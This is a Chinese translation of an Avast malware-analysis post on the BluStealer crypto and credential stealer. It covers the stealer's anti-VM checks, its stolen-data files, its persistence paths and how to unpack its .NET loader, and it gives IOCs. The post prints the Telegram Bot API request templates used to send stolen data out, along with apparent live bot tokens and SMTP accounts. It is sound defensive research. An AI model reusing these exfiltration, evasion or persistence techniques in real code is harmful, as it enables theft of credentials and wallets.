BluStealer:从 SpyEx 到 ThunderFox – Avast

概述

BluStealer 是一种加密货币窃取工具、键盘纪录器和文件上传器,使用 Visual Basic 编写,并加载 C#.NET黑客工具以窃取凭证。这个家族最早是在 5 月由

提到的,当时称其为
。事实上,a310logger只是出现在该.NET 组件字串文档中的一个命名空间。大约在七月,
将同一家族称为 “新型恶意软件”,而最近,

再次提到它并称其为 BluStealer。本文中,我们决定使用 BluStealer 这个名称,同时对这个家族的运作及细节提供更全面的视角。

a310logger 只是 BluStealer 的 .NET组件中多个 C# 黑客工具之一。

BluStealer 主要通过恶意邮件活动传播。我们发现的大量样本来自一个特定的活动,该活动通过使用一个独特的 .NET加载器而明显可识别。此加载器的分析在本
中提供。以下是两个
BluStealer 恶意邮件样本。第一个是假的 DHL 发票,使用英文撰写。第二个是一封来自墨西哥金属公司 General de Perfiles的假消息,使用西班牙文。这两个样本均包含 .iso 附件和下载网址,邮件中声称收件人需要打开并填写的表格以解决问题。这些附件包含了打包了 .NET加载器的恶意执行文件。

在下图中,我们可以看到 BluStealer 活动在 2021 年 9 月 10 到 11 日间有明显的激增。

每日受到
BluStealer 保护的 Avast 用户数量

BluStealer 分析

如前所述,BluStealer 由用 Visual Basic 编写的核心和 C# .NET内部有效载荷组成。这两个组件在样本之间的变化很大,显示出恶意软件制作者可以分别自定义每个组件。VB 核心重用了大量来自 2004 年的
项目的代码,因此在 5 月的早期样本中包含了 “SpyEx”
字串。然而,恶意软件作者增添了窃取加密货币钱包数据、替换剪贴板中存在的加密货币地址、查找并上传文档文件、通过 SMTP 和 Telegram Bot API外泄数据,以及反分析/反虚拟机技巧的能力。另一方面,.NET 组件主要是一个凭证窃取器,从几个开源 C# 黑客工具如
、、 和
中拼凑而成。请注意,并非所有提到的功能都在单个样本中可用。

混淆

BluStealer 中字串的解密范例

每个字串都使用一个唯一的密钥进行加密。根据样本,可能的加密算法包括 XOR 密码、RC4,或来自这个

实现。以下是自订的 AES 算法的 Python 示范:

一个用于帮助在 IDA 中解密所有字串的工具可以在
获得。

反虚拟机策略

BluStealer 检查以下条件:

  • 如果 Win32_ComputerSystem WMI 类的属性 Model 包含:

VIRTUA (没有 L)、VMware 虚拟平台、VirtualBox、Microsoft Corporation、VMware、vmw

  • 如果 Win32_BaseBoard WMI 类的属性 SerialNumber 包含 0 或 None

  • 如果以下文件存在:

  • C:\\Windows\\System32\\drivers\\vmhgfs.sys

  • C:\\Windows\\System32\\drivers\\vmmemctl.sys

  • C:\\Windows\\System32\\drivers\\vmmouse.sys
  • C:\\Windows\\System32\\drivers\\vmrawdsk.sys
  • C:\\Windows\\System32\\drivers\\VBoxGuest\.sys
  • C:\\Windows\\System32\\drivers\\VBoxMouse.sys
  • C:\\Windows\\System32\\drivers\\VBoxSF.sys
  • C:\\Windows\\System32\\drivers\\VBoxVideo.sys

如果满足这些条件中的任何一个,BluStealer 将停止执行。

.NET 组件

BluStealer 从资源部分检索 .NET 有效载荷并使用上述 WinZip AES 算法通过硬编码的密钥进行解密。然后它执行以下命令行工具之一以启动
.NET 执行档:

  • C:\Windows\Microsoft.NET\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe
  • C:\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe


VB 核心载入的两个 .NET执行档的例子。被窃取的凭证写入 “credentials.txt”。

.NET 组件不与 VB 核心以任何方式通信。它窃取流行浏览器和应用程序的凭证,然后将其写入磁碟上的选定位置,使用指定文件名(例如
credentials.txt)。VB 核心将查找这个投放,并在之后外泄。这个机制在下一个
中会有更好地解释。

.NET 组件仅仅是下面列出的开源 C# 项目的拷贝。你可以在他们的 GitHub 网页找到更多信息:

  • ThunderFox: github.com/V1V1/SharpScribbles
  • ChromeRecovery: github.com/Elysian01/Chrome-Recovery
  • StormKitty: github.com/swagkarna/StormKitty
  • Firepwd: github.com/lclevy/firepwd

信息窃取器

VB 核心和 .NET 组件将被窃取的信息写入 %appdata%\Microsoft\Templates
文件夹。每种类型的窃取数据都会写入不同的文件,并具有预定义的文件名。 VB 核心设置不同的计时器以监控每个文件并跟踪它们的文件大小。当文件大小增加时,VB核心会将其发送给攻击者。

| 处理程序 | 任意文件名 | 被窃取的信息 | 任意计时器 | | — | — | — | — | | .NET 组件 | credentials.txt | 存储在流行的网页浏览器和应用程序中的凭证,以及系统配置文件信息 | 80 | | .NET 组件 | Cookies.zip | 存储在 Firefox 和 Chrome 浏览器中的 Cookie | 60 | | VB 核心 | CryptoWallets.zip | 通常包含以下加密货币钱包的私钥的数据库文件:ArmoryDB、Bytecoin、Jaxx Liberty、Exodus、Electrum、Atomic、Guarda、Coinomi | 50 | | VB 核心 | FilesGrabber\\Files.zip | 小于 2.5MB 的文档文件(.txt、.rtf、.xlxs、.doc(x)、.pdf、.utc) | 30 | | VB 核心 | 其他 | 截图、键盘记录、剪贴板数据 | 1 或 None |

BluStealer VB核心还检测剪贴板中复制的加密地址,并用攻击者预定义的地址替换它们。综合起来,它可以支持以下地址:比特币、比特币现金、以太坊、门罗币、莱特币。

数据外泄

BluStealer 通过 SMTP(重用 SpyEx 的代码)和 Telegram Bot 外泄被窃取的数据,因此缺少伺服器端代码。Telegram令牌和 chat_id 是硬编码的,用以执行两个命令: sendDocumentsendMessage ,如下所示:

  • https://api.telegram.org/bot[BOT TOKEN]/sendMessage?chat_id=[MY_CHANNEL_ID]&text=[MY_MESSAGE_TEXT]
  • https://api.telegram.org/bot[BOT TOKEN]/sendDocument?chat_id=[MY_CHANNEL_ID]&caption=[MY_CAPTION]

SMTP 流量是使用 Microsoft MimeOLE 规范构建的。

SMTP 内容示例

.NET 加载器 演示

这个 .NET 加载器已被 Formbook、Agent Tesla、Snake Keylogger、Oski Stealer、RedLine 和
BluStealer 等家族使用。

示范样本:19595e11dbccfbfeb9560e36e623f35ab78bb7b3ce412e14b9e52d316fbc7acc

第一阶段

.NET 加载器的第一阶段具有通用的混淆外观,且未被 de4dot 匹配到任何已知的 .NET 混淆器。不过,一个可识别的特征是资源中包含的单个加密模组:

通过寻找此模组在代码中的引用,我们可以迅速定位它被解密并加载到内存中的位置,如下所示:

在加载下一个阶段之前,该加载器可能会检查互联网连接或通过启动文件夹和注册表运行键设置持久性。一些示例包括:

  • C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\chrome\chrom.exe
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\chrom
  • C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\paint\paint.exe
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\paint
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup
  • C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\note\notepad.exe

在我们仔细检查的样本中,该模组是使用 RC4解密的,且使用硬编码的密钥。该密钥通过字符串提供者函数进行混淆。获取有效载荷的最佳方法是断点设置在与加密模组引用相同命名空间中的尾部跳转中。在大多数情况下,通常是对外部函数
Data() 的调用。以下是来自不同样本的示例:

第二阶段

在第二阶段的 Data()
函数内,包含两个奇怪的资源文件及其获取函数

第二阶段的函数调用和字串被混淆,因此“分析”功能可能没有多大帮助。然而,有两个资源文件看起来不太对劲,这使我们可以作为切入点。它们的获取函数可以轻松地在
Properties 命名空间的 Resources 类中找到。在 0x17000003 的 Ehiuuvbfrnprkuyuxqv获取函数上设置断点,将我们带到一个函数,该函数经过 gzip 解压缩,显示出一个 PE 文件。

Ehiuuvbfrnprkuyuxqv 被 gzip 解压缩

另一方面,在 0x17000004 的 Ltvddtjmqumxcwmqlzcos 获取函数上设置断点将我们留在 Data()
函数中,其中所有函数调用都是通过将字段传入 CompareComparator 函数并像方法一样调用。

ComareComparator 用于调用其中一个参数

为了理解发生了什么,我们必须知道这些字段代表什么函数。根据之前处理
的经验,字段到方法
映射文件很可能嵌入在资源部分,在这个案例中,“Dic.Attr”的命名是一个强大的提示。

注意,找到这些字段映射到哪里是非常重要的,因为“步入”可能无法直接让我们到达指定的函数。一些映射的函数在字段方法绑定过程中会被修改。因此在调用对应字段时,DynamicResolver.GetCodeInfo()
将在运行时构建目标函数。尽管函数修改只包含用等价的运算码替换某些运算码,而保持内容相同,这对于在动态分析过程中混淆函数调用仍然是足够的。

Dic.Attr 被翻译成字段-方法字典

寻找 “Dic.Attr” 字串将我们引向映射发生的函数。字典值代表将被绑定的方法令牌,键值是相应的字段。至于方法令牌以 0x4A 开头,将其替换为 0x6以获取正确的方法。这些是为了混淆目的而选择的函数。

随著所有函数调用的揭示,我们可以理解 Data() 方法内部的运作。首先,它加载了一个新组件,即解压缩后的
Ehiuuvbfrnprkuyuxqv。然后,它尝试创建一个名为 SmartAssembly.Queues.MapFactoryQueue的对象实例。为了揭示这个谜团,将调用名为 “RegisterSerializer”
的方法,并将另一个资源文件的数据作为参数。在此时,我们可以假设该函数的目的是解密另一个资源文件并执行它。

进入新加载的模组
(af43ec8096757291c50b8278631829c8aca13649d15f5c7d36b69274a76efdac),我们可以看到
SmartAssembly 水印和所有标注的混淆功能如下所示。

解压缩 Ehiuuvbfrnprkuyuxqv的概览。在这里,你可以找到方法 RegisterSerializer 位于 SmartAssembly.Queues.MapFactoryQueue 内

解包过程与前一层没有太大区别,但增加了代码虚拟化的开销。从静态分析中,我们的 RegisterSerializer 看起来可能是空的,但一旦
SmartAssembly.Queues 类被实例化,该方法就会正确加载:

当进行静态分析时,函数内容

在实例化之后的函数内容。注意参数 “res”
代表第二个资源文件的数据

快进到 res 被处理的地方,位于
RegisterSerializer() 里

幸运的是,这段代码看起来相当直接。变量 “res” 持有加密数据,并传递给名为 RulesListener.IncludeState的函数。再次强调,获取字段令牌到方法令牌映射文件的关键在于很可能位于资源部分。这次寻找 GetManifestResourceStream函数将帮助我们迅速找到设置映射的代码部分:

资源文件 Params.Rules 被解释为字段-方法字典

RulesListener.IncludeState 拥有令牌 0x04000220,该令牌映射到函数
0x60000A3。在这个函数内,解密算法平淡地揭示出来:反向和解压。

从 Ltvddtjmqumxcwmqlzcos 中获得的数据被反转

然后其被解压并执行

事实上,所有 样本都可以简单地通过 解压反向的资源文件 来解包,嵌入 第二阶段
中。希望即使当这个算法被改变,我的详细演示仍然能在显示如何击败混淆技巧方面发挥作用。

结论

在这篇文章中,我们阐述了 BluStealer 的功能,并提供了一些工具来去混淆和提取其
IOC。我们还强调了它重复使用多个开源项目的代码。尽管仍然向磁碟写入数据,且没有适当的 C2 功能,BluStealer仍然是一个可行的窃取工具。在本文的后半部分,我们展示了如何通过一个独特的 .NET 加载器获取 BluStealer样本和其他恶意软件。希望这些见解能让其他分析师在分类和分析 BluStealer 时更加轻松。

IOC:

完整的 IOC 列表可在 https://github.com/avast/ioc/tree/master/BluStealer 查阅。

BluStealer

SHA-256

678e9028caccb74ee81779c5dd6627fb6f336b2833e9a99c4099898527b0d481
3151ddec325ffc6269e6704d04ef206d62bba338f50a4ea833740c4b6fe770ea
49da8145f85c63063230762826aa8d85d80399454339e47f788127dafc62ac22
7abe87a6b675d3601a4014ac6da84392442159a68992ce0b24e709d4a1d20690

加密地址列表

比特币:
1ARtkKzd18Z4QhvHVijrVFTgerYEoopjLP (1.67227860 BTC)
1AfFoww2ajt5g1YyrrfNYQfKJAjnRwVUsX (0.06755943 BTC)
1MEf31xHgNKqyB7HEeAbcU6BhofMdwLE3r
38atNsForzrDRhJoVAhyXsQLqWYfYgodd5
bc1qrjl4ksg5h7p70jjtypr8s6cjpngzd3kerfj9rt
bc1qjg3y4d4t6hwg6h22khknlxcstevjg2qkrxt6qu
1KfRWVcShzwE2Atp1njogAqH8qodsif3pi
3P6JnvWtubxbCxgPW7GAAj8u6CLV2h9MkY
13vZcoMYRcKrDRDYUyH9Cd4kCRMZVjFkyn

比特币现金:
qrej5ltx0sgk5c7aygdsvt2gh7fq04umvusxhxl7wq
qrzakt59udz893u2uuwtgrwrjj9dhtk0gc3m4m2sj5

以太坊:
0xd070c48cd3bdeb8a6ca90310249aae90a7f26303 (0.10 ETH)
0x95d3763546235393B77aC188E5B08dD4Af68d89D
0xcfE71c720b7E99e555c0e98b725919B7a69f8Bb0

门罗币地址:
46W5WHQG2B1Df9uKrkyuhoLNVtJouMfPR9wMkhrzRiEtD2PmdcXMvQt52jQVWKXUC45hwYRXhBYVjLRbpDu8CK2UN2xzenr
43Q4G9CdM3iNbkwhujAQJ7TedSLxYQ8hJJHYqsqns7qz696gkPgMvUvDcDfZJ7bMzcaQeoSF86eFE2fL9njU59dQRfPHFnv

莱特币地址:
LfADbqTZoQhCPBr39mqQpf9myUiUiFrDBG
LY5jmjdFnvgFjJET2wX5fVV6Gv89QdQRv3

Telegram 令牌:

1901905375:AAFoPAvBxaWxmDiYbdJWH-OdsUuObDY0pjs
1989667182:AAFx2Rti45m06IscLpGbHo8v4659Q8swfkQ

SMTP

[email protected] (smtp.1and1.com)
[email protected] (mail.starkgulf.com)
[email protected] (mail.bojtai.club)
[email protected] (smtp.ionos.es)
[email protected]
[email protected] (shepherd.myhostcpl.com)
[email protected] (mail.farm-finn.com)
[email protected] (mail.starkgulf.com)

.NET 加载器 SHA-256:

ae29f49fa80c1a4fb2876668aa38c8262dd213fa09bf56ee6c4caa5d52033ca1
35d443578b1eb0708d334d3e1250f68550a5db4d630f1813fed8e2fc58a2c6d0
097d0d1119fb73b1beb9738d7e82e1c73ab9c89a4d9b8aeed35976c76d4bad23
c783bdf31d6ee3782d05fde9e87f70e9f3a9b39bf1684504770ce02f29d5b7e1
42fe72df91aa852b257cc3227329eb5bf4fce5dabff34cd0093f1298e3b5454e
1c29ee414b011a411db774015a98a8970bf90c3475f91f7547a16a8946cd5a81
81bbcc887017cc47015421c38703c9c261e986c3fdcd7fef5ca4c01bcf997007
6956ea59b4a70d68cd05e6e740598e76e1205b3e300f65c5eba324bebb31d7e8
6322ebb240ba18119193412e0ed7b325af171ec9ad48f61ce532cc120418c8d5
9f2bfedb157a610b8e0b481697bb28123a5eabd2df64b814007298dffd5e65ac
e2dd1be91c6db4b52eab38b5409b39421613df0999176807d0a995c846465b38

标签为
,,

分享:XFacebook

Leave a Reply

Your email address will not be published. Required fields are marked *